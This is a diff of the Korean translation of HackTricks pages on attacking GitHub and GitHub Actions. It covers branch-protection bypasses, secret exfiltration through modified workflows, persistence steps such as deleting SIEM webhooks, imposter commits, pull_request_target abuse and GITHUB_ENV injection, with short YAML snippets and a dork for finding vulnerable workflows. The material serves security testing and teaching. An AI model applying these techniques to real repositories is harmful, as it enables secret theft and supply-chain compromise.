기본 정보**](basic-github-information.md#personal-access-tokens)를 확인하여 소개를 참조하세요. 사용자 토큰은 HTTPS를 통한 Git의 **비밀번호 대신** 사용되거나 [**기본 인증을 통해 API에 인증하는 데 사용**](https://docs.github.com/v3/auth/#basic-authentication)될 수 있습니다. 부여된 권한에 따라 다양한 작업을 수행할 수 있습니다. @@ -150,19 +150,19 @@ gpg --list-secret-keys --keyid-format=long ### Oauth 애플리케이션 사용 -[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하세요. +[**Github Oauth 애플리케이션에 대한 기본 정보**](basic-github-information.md#oauth-applications)를 확인하여 소개를 참조하세요. -공격자는 **악성 Oauth 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. +공격자는 **악성 Oauth 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다. -Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)입니다. 수락하기 전에 항상 요청된 범위를 확인해야 합니다. +Oauth 애플리케이션이 요청할 수 있는 [범위](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)를 확인하세요. 수락하기 전에 항상 요청된 범위를 확인해야 합니다. 또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**. ### Github 애플리케이션 사용 -[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하세요. +[**Github 애플리케이션에 대한 기본 정보**](basic-github-information.md#github-applications)를 확인하여 소개를 참조하세요. -공격자는 **악성 Github 애플리케이션**을 생성하여 피싱 캠페인의 일환으로 이를 수락한 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. +공격자는 **악성 Github 애플리케이션**을 생성하여 사용자가 이를 수락하도록 유도하고, 이를 통해 사용자의 권한 있는 데이터/작업에 접근할 수 있습니다. 이는 피싱 캠페인의 일환일 수 있습니다. 또한, 기본 정보에서 설명한 바와 같이, **조직은 제3자 애플리케이션에 대한 접근을 허용/거부할 수 있습니다**. @@ -176,49 +176,49 @@ abusing-github-actions/ ## 브랜치 보호 우회 -- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있는 경우 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다. +- **승인 수 요구**: 여러 계정을 타협한 경우 다른 계정에서 PR을 수락할 수 있습니다. PR을 생성한 계정만 있다면 자신의 PR을 수락할 수 없습니다. 그러나 리포 내에서 **Github Action** 환경에 접근할 수 있다면, **GITHUB_TOKEN**을 사용하여 **PR을 승인**하고 이렇게 1개의 승인을 받을 수 있습니다. - _이와 코드 소유자 제한에 대한 주의: 일반적으로 사용자는 자신의 PR을 승인할 수 없지만, 만약 가능하다면 이를 남용하여 자신의 PR을 수락할 수 있습니다._ -- **새 커밋이 푸시될 때 승인 해제**: 이 설정이 되어 있지 않으면, 합법적인 코드를 제출하고 누군가가 승인할 때까지 기다린 후 악성 코드를 추가하고 이를 보호된 브랜치에 병합할 수 있습니다. +- **새 커밋이 푸시될 때 승인 무효화**: 이 설정이 되어 있지 않다면, 합법적인 코드를 제출하고 누군가가 이를 승인할 때까지 기다린 후 악성 코드를 추가하고 보호된 브랜치에 병합할 수 있습니다. - **코드 소유자의 리뷰 요구**: 이 설정이 활성화되어 있고 당신이 코드 소유자라면, **Github Action이 당신의 PR을 생성하고 당신이 직접 승인할 수 있습니다**. - **CODEOWNER 파일이 잘못 구성된 경우**: Github은 불만을 제기하지 않지만 이를 사용하지 않습니다. 따라서 잘못 구성된 경우 **코드 소유자 보호가 적용되지 않습니다.** - **지정된 행위자가 풀 리퀘스트 요구 사항을 우회할 수 있도록 허용**: 이러한 행위자 중 하나라면 풀 리퀘스트 보호를 우회할 수 있습니다. -- **관리자 포함**: 이 설정이 되어 있지 않으면 리포의 관리자인 경우 이 브랜치 보호를 우회할 수 있습니다. -- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 자신이 승인하고 모든 것을 병합할 수 있습니다.** -- **브랜치 보호 제거**: **리포의 관리자인 경우 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다. -- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음). -- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 github action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않으므로**, 이 첫 번째 코드 푸시는 **github action을 실행**합니다. +- **관리자 포함**: 이 설정이 되어 있지 않다면, 당신이 리포의 관리자라면 이 브랜치 보호를 우회할 수 있습니다. +- **PR 하이재킹**: 다른 사람의 PR을 **수정하여 악성 코드를 추가하고, 결과 PR을 승인한 후 모든 것을 병합할 수 있습니다.** +- **브랜치 보호 제거**: 당신이 **리포의 관리자라면 보호를 비활성화하고**, PR을 병합한 후 보호를 다시 설정할 수 있습니다. +- **푸시 보호 우회**: 리포가 **특정 사용자만** 브랜치에 푸시(코드 병합)를 허용하는 경우(브랜치 보호가 모든 브랜치를 보호할 수 있음, 와일드카드 `*` 사용). +- **리포에 대한 쓰기 권한이 있지만 브랜치 보호로 인해 코드를 푸시할 수 없는 경우**, 여전히 **새 브랜치를 생성**하고 그 안에 **코드가 푸시될 때 트리거되는 Github Action을 생성**할 수 있습니다. **브랜치 보호는 브랜치가 생성될 때까지 보호하지 않기 때문에**, 이 첫 번째 코드 푸시는 **Github Action을 실행**합니다. ## 환경 보호 우회 -[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하세요. +[**Github 환경에 대한 기본 정보**](basic-github-information.md#git-environments)를 확인하여 소개를 참조하세요. -환경에 **모든 브랜치에서 접근할 수 있는 경우**, **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. **모든 브랜치가 보호된** 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 github action을 생성(또는 수정)하여 비밀을 **유출**할 수 있습니다. +환경에 **모든 브랜치에서 접근할 수 있는 경우**, 이는 **보호되지 않으며** 환경 내의 비밀에 쉽게 접근할 수 있습니다. 모든 브랜치가 보호된 리포를 찾을 수 있다는 점에 유의하세요(이름을 지정하거나 `*`를 사용하여). 이 경우, **코드를 푸시할 수 있는 브랜치를 찾아** 새로운 Github Action을 생성하거나 수정하여 비밀을 **유출**할 수 있습니다. -모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**에도, 브랜치를 생성하고 푸시 트리거를 사용할 수 있으므로 사용자 정의 github action을 실행할 수 있습니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 github action이 트리거됩니다.** +모든 브랜치가 보호된 경우(와일드카드 `*`를 통해) **브랜치에 코드를 푸시할 수 있는 사람**이 지정되어 있고 **당신의 사용자가 허용되지 않는 경우**, 여전히 사용자 정의 Github Action을 실행할 수 있습니다. 브랜치를 생성하고 그 자체에 푸시 트리거를 사용할 수 있기 때문입니다. **브랜치 보호는 새 브랜치에 대한 푸시를 허용하므로 Github Action이 트리거됩니다.** ```yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -Note that **브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다. +**브랜치 생성 후** **브랜치 보호가 새 브랜치에 적용되며** 수정할 수 없지만, 그때 이미 비밀을 덤프했을 것입니다. -## Persistence +## 지속성 - **사용자 토큰** 생성 - **비밀**에서 **github 토큰** 탈취 -- **워크플로우 결과** 및 **브랜치** **삭제** +- 워크플로우 **결과** 및 **브랜치** **삭제** - 모든 조직에 **더 많은 권한** 부여 - 정보를 유출하기 위한 **웹훅** 생성 - **외부 협력자** 초대 -- **SIEM**에서 사용된 **웹훅** **제거** +- **SIEM**에서 사용되는 **웹훅** **제거** - **백도어**가 있는 **Github Action** 생성/수정 - **비밀** 값 수정을 통해 **명령 주입**에 취약한 **Github Action** 찾기 -### Imposter Commits - 레포 커밋을 통한 백도어 +### 사기 커밋 - 레포 커밋을 통한 백도어 -Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포 내에 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 겉보기에는 합법적인 레포의 특정 커밋을 사용하도록 고정할 수 있습니다**. +Github에서는 **포크에서 레포에 PR을 생성**할 수 있습니다. PR이 **수락되지 않더라도**, 원본 레포의 **커밋** ID가 포크 버전의 코드에 대해 생성됩니다. 따라서 공격자는 **레포 소유자가 생성하지 않은 것처럼 보이는 합법적인 레포에서 특정 커밋을 사용하도록 고정할 수 있습니다**. -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +[**이와 같이**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] @@ -231,6 +231,6 @@ steps: run: | echo 'hello world!' ``` -자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)에서 확인하세요. +자세한 내용은 [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) 를 확인하세요. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 67daa2f4a..7c4271c7b 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,29 +1,29 @@ -# Abusing Github Actions +# Github Actions 악용하기 {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 이 페이지에서는 다음을 찾을 수 있습니다: -- 공격자가 Github Action에 접근하는 데 성공했을 때의 **모든 영향 요약** +- 공격자가 Github Action에 접근하는 경우의 **모든 영향 요약** - **액세스하는 방법**: -- 액션을 생성할 **권한**을 가지기 -- **풀 리퀘스트** 관련 트리거 남용 -- **기타 외부 접근** 기술 남용 +- 액션을 생성할 **권한**을 갖는 것 +- **풀 리퀘스트** 관련 트리거 악용 +- **기타 외부 접근** 기술 악용 - 이미 손상된 레포에서 **피벗팅** -- 마지막으로, **내부에서 액션을 남용하기 위한 사후 활용 기술**에 대한 섹션 (언급된 영향을 초래함) +- 마지막으로, **내부에서 액션을 악용하기 위한 포스트 익스플로잇 기술**에 대한 섹션 (언급된 영향을 초래함) -## Impacts Summary +## 영향 요약 -[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 확인하세요. +[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 참고하세요. **저장소** 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다: -- 파이프라인에 마운트된 **비밀**을 **탈취**하고, AWS 및 GCP와 같은 외부 플랫폼에 대한 무단 접근을 얻기 위해 **파이프라인의 권한을 남용**할 수 있습니다. +- 파이프라인에 마운트된 **비밀**을 **탈취하고 파이프라인의 권한을 악용**하여 AWS 및 GCP와 같은 외부 플랫폼에 무단으로 접근할 수 있습니다. - **배포를 손상**시키고 다른 **아티팩트**를 손상시킬 수 있습니다. - 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 가능하게 할 수 있습니다. -- **사용자 정의 작업자에서 코드를 실행**하여 컴퓨팅 파워를 남용하고 다른 시스템으로 피벗할 수 있습니다. +- **커스텀 워커에서 코드 실행**하여 컴퓨팅 파워를 악용하고 다른 시스템으로 피벗할 수 있습니다. - `GITHUB_TOKEN`과 관련된 권한에 따라 **레포 코드 덮어쓰기**. ## GITHUB_TOKEN @@ -32,7 +32,7 @@
-이 토큰은 **Github 애플리케이션이 사용할** 동일한 토큰으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +이 토큰은 **Github 애플리케이션이 사용할** 동일한 것으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Github은 **레포 간** 접근을 허용하는 [**흐름**](https://github.com/github/roadmap/issues/74)을 출시해야 하며, 이를 통해 레포가 `GITHUB_TOKEN`을 사용하여 다른 내부 레포에 접근할 수 있습니다. @@ -42,7 +42,7 @@ 토큰은 **작업이 완료된 후 만료**됩니다.\ 이 토큰은 다음과 같은 형식입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -이 토큰으로 할 수 있는 흥미로운 것들: +이 토큰으로 할 수 있는 몇 가지 흥미로운 작업: {{#tabs }} {{#tab name="Merge PR" }} @@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> 여러 경우에 **Github Actions envs 또는 secrets 안에서 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다. +> 여러 경우에 **Github Actions envs 또는 secrets 안에 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-비밀을 이용한 리버스 셸 얻기 +비밀을 사용하여 리버스 셸 얻기 ```yaml name: revshell on: @@ -141,19 +141,19 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ## 허용된 실행 > [!NOTE] -> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 것입니다. 이 경우는 **조직에서 새 리포를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있다고 가정합니다. +> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 수 있습니다. 이 경우는 **조직에서 새 리포지토리를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있는 경우를 가정합니다. > > 이 시나리오에 있다면 [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)를 확인할 수 있습니다. -### 리포 생성에서의 실행 +### 리포지토리 생성에서의 실행 -조직의 구성원이 **새 리포를 생성할 수** 있고 Github actions를 실행할 수 있는 경우, **새 리포를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수** 있습니다. +조직의 구성원이 **새 리포지토리를 생성**할 수 있고 Github actions를 실행할 수 있는 경우, **새 리포지토리를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수 있습니다**. ### 새 브랜치에서의 실행 -이미 구성된 Github Action이 있는 리포지토리에서 **새 브랜치를 생성할 수** 있다면, 이를 **수정**하고, **내용을 업로드**한 다음, **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 그들이 어떻게 불리는지 알아야 합니다). +이미 구성된 Github Action이 있는 리포지토리에서 **새 브랜치를 생성**할 수 있다면, 이를 **수정**하고, **내용을 업로드**한 다음 **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 그들이 어떻게 불리는지 알아야 합니다). -수정된 액션을 **수동으로** 실행 가능하게 만들 수 있으며, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름): +수정된 액션을 **수동으로** 실행 가능하게 만들 수 있습니다. **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름): ```yaml on: workflow_dispatch: # Launch manually @@ -170,44 +170,44 @@ branches: ## 포크된 실행 > [!NOTE] -> 공격자가 **다른 저장소의 Github Action을 실행**할 수 있도록 허용하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자가 이를 손상시킬 수 있습니다. +> 공격자가 **다른 리포지토리의 Github Action을 실행**할 수 있도록 하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자가 이를 손상시킬 수 있습니다. ### `pull_request` -워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 **처음** **협업**하는 경우, 일부 **유지 관리자가** 워크플로우의 **실행**을 **승인**해야 합니다: +워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 몇 가지 예외가 있습니다: 기본적으로 **첫 번째**로 **협업**하는 경우, 일부 **유지 관리자**가 워크플로우의 **실행**을 **승인**해야 합니다:
> [!NOTE] -> **기본 제한**이 **처음 기여하는** 기여자에게 해당되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**. +> **기본 제한**이 **첫 번째** 기여자에게 적용되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**. > -> **이것을 테스트했지만 작동하지 않습니다**: ~~다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~ +> **이것을 테스트했지만 작동하지 않았습니다**: ~~또 다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~ -또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 저장소에 **차단**합니다. [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이: +또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 리포지토리에 **제한**합니다. [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이: -> `GITHUB_TOKEN`을 제외하고, **비밀은 포크된** 저장소에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 저장소의 풀 리퀘스트에서 읽기 전용 권한**을 가집니다. +> `GITHUB_TOKEN`을 제외하고, **비밀은** **포크된** 리포지토리에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 리포지토리의 풀 리퀘스트에서 읽기 전용 권한을 가집니다**. -공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 저장소를 덮어쓸 수는 없습니다. +공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 리포를 덮어쓸 수는 없습니다. > [!CAUTION] -> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 저장소의 것이 아닙니다!** +> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 리포의 것이 아닙니다!** 공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 비밀이나 쓰기 권한이 없더라도 공격자는 예를 들어 **악성 아티팩트를 업로드**할 수 있습니다. ### **`pull_request_target`** -워크플로우 트리거 **`pull_request_target`**은 대상 저장소에 **쓰기 권한**과 **비밀 접근**을 가집니다(권한 요청을 하지 않음). +워크플로우 트리거 **`pull_request_target`**은 대상 리포지토리에 **쓰기 권한**과 **비밀 접근**을 가집니다(권한 요청 없음). 워크플로우 트리거 **`pull_request_target`**은 **PR에서 제공된 것**이 아니라 **기본 컨텍스트에서 실행**됩니다(신뢰할 수 없는 코드를 **실행하지 않기 위해**). `pull_request_target`에 대한 자세한 정보는 [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\ 또한 이 특정 위험한 사용에 대한 자세한 정보는 [**github 블로그 게시물**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)을 확인하세요. -**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전**해 보일 수 있지만, **안전하지 않은 몇 가지 경우가 있습니다**. +**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, **안전하지 않은 몇 가지 경우가 있습니다**. 이것은 **비밀에 접근할 수 있습니다**. ### `workflow_run` -[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로우가 `완료`, `요청됨` 또는 `진행 중`일 때 워크플로우를 실행할 수 있도록 합니다. +[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로우가 `완료`, `요청됨` 또는 `진행 중`일 때 워크플로우를 실행할 수 있게 합니다. 이 예제에서는 별도의 "테스트 실행" 워크플로우가 완료된 후 실행되도록 워크플로우가 구성되어 있습니다: ```yaml @@ -217,10 +217,10 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +또한, 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 **이전 워크플로우가 아닌 경우에도 비밀을 액세스하고 토큰을 쓸 수 있습니다.** -이런 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는** **워크플로우**에 **의존**할 경우 공격받을 수 있습니다. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\ -두 번째는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다. +이러한 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는 워크플로우에 의존하는 경우 공격받을 수 있습니다.** 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째 예시는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\ +두 번째 예시는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다. ### `workflow_call` @@ -230,18 +230,18 @@ TODO: `pull_request`에서 실행될 때 사용/다운로드된 코드가 원본 ## 포크된 실행 남용 -외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했습니다. 이제 이러한 실행이 잘못 구성된 경우 어떻게 남용될 수 있는지 살펴보겠습니다: +외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했으니, 이제 잘못 구성된 경우 이러한 실행이 어떻게 남용될 수 있는지 살펴보겠습니다: ### 신뢰할 수 없는 체크아웃 실행 -**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR의 코드**를 실행하게 됩니다. 그러나 누군가가 **먼저 이를 승인해야** 하며, [제한 사항](./#pull_request)과 함께 실행됩니다. +**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR 코드**를 실행하게 되지만, 누군가가 **먼저 이를 승인해야** 하며, [제한 사항](./#pull_request)과 함께 실행됩니다. -**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다**. +**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다.** > [!CAUTION] > 그러나 **액션**에 **명시적인 PR 체크아웃**이 있어 **PR에서 코드를 가져오는 경우**(기본에서가 아님), 공격자가 제어하는 코드를 사용하게 됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인): -
# INSECURE. Provided as an example only.
+
# INSECURE. 제공된 예시일 뿐입니다.
 on:
 pull_request_target
 
@@ -269,14 +269,14 @@ message: |
 Thank you!
 
-잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다**. +잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다.** > [!WARNING] -> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 행위자가 누구인지에 대한 조건을 사용하는 것). +> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성하는 행위자가 누구인지에 대한 조건 사용). ### 컨텍스트 스크립트 주입 -특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)가 있으며, 이 값은 **PR을 생성하는 사용자**에 의해 **제어됩니다**. GitHub 액션이 이 **데이터를 사용하여 무언가를 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다: +특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 **PR을 생성하는 사용자에 의해 제어됩니다.** GitHub 액션이 이 **데이터를 사용하여 무엇이든 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다: {{#ref}} gh-actions-context-script-injections.md @@ -286,9 +286,9 @@ gh-actions-context-script-injections.md 문서에 따르면: 워크플로우 작업의 후속 단계에서 **환경 변수를 사용할 수 있도록** 하려면 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 작성하면 됩니다. -공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, 그는 **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다. +공격자가 이 **env** 변수에 **임의의 값을 주입할 수 있다면**, 그는 **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 후속 단계에서 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다. -예를 들어 ([**이**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다: +예를 들어 ([**이것**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이것**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:
